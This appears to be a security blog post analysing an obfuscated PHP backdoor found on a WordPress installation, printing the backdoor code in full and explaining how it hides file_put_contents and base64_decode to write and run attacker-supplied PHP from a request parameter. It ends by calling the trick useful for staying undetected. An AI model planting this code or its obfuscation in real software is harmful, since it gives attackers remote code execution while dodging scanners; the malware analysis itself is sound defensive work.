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We discovered a PHP backdoor on a WordPress installation that contained some interesting obfuscation methods to keep it hidden from prying eyes:

$zz1 = chr(95).chr(100).chr(101).chr(115).chr(116).chr(105).chr(110).chr(97).chr(116).chr(105).chr(111).chr(110);
$ss2 = chr(102).chr(105).chr(108).chr(101).chr(95).chr(112).chr(117).chr(116).chr(95)."content".chr(115);
$bs = chr(98).chr(97).chr(115).chr(101)."64"."_".chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);
$bngd = chr(60).chr(63).chr(112).chr(104).chr(112).chr(32);
$b = $bngd.$bs($_REQUEST[chr(100).chr(49)]);
@array_diff_ukey(@array((string)($zz1) => 1), @array((string)($b) => 2), $ss2);

The five separate variables ($zz1, $ss2, $bs, $bngd, $b) are obfuscated by converting their values from a decimal value to its normal ASCII character using the chr function (see this chart for more info on character conversions). Usually, this is seen in PHP malware obfuscation.

@array_diff_ukey(@array((string)($zz1) => 1), @array((string)($b) => 2), $ss2);

What isn’t seen as often is the use of array_diff_ukey to obfuscate how the backdoor uses file_put_contents:

array_diff_ukey is a PHP function that compares two arrays using another function which is defined by the user—in this case, it is file_put_contents.
  • The first array is constructed using the filename defined in the $zz1 variable that will be injected with PHP code.
  • The second array is hiding the PHP code that will be used in the injection:
  • <?php base64_decode($_REQUEST[d1])

    This PHP code will allow the hacker to decide what code will then be evaluated later. They pass the PHP code to the file by submitting a base64-encoded HTTP request containing the PHP code.

  • The final part of the array_diff_ukey is the function that should be used to compare the two arrays, but in this case the comparison uses file_put_contents to inject the above PHP code into the filename from $zz1.
  • After the PHP code injection, the backdoor then uses the include function to evaluate the injected file’s PHP code before it finally deletes the injected file using unlink.

    You can see the base64-encoded string in the browser’s URL which decodes to the PHP code to be evaluated:

    echo "You've been hacked!";

    This type of obfuscation is useful for rearranging the normal format of file_put_contents, which is a function that is commonly used in malware. So if you want to remain undetected, then obfuscating it within the backdoor code would be helpful.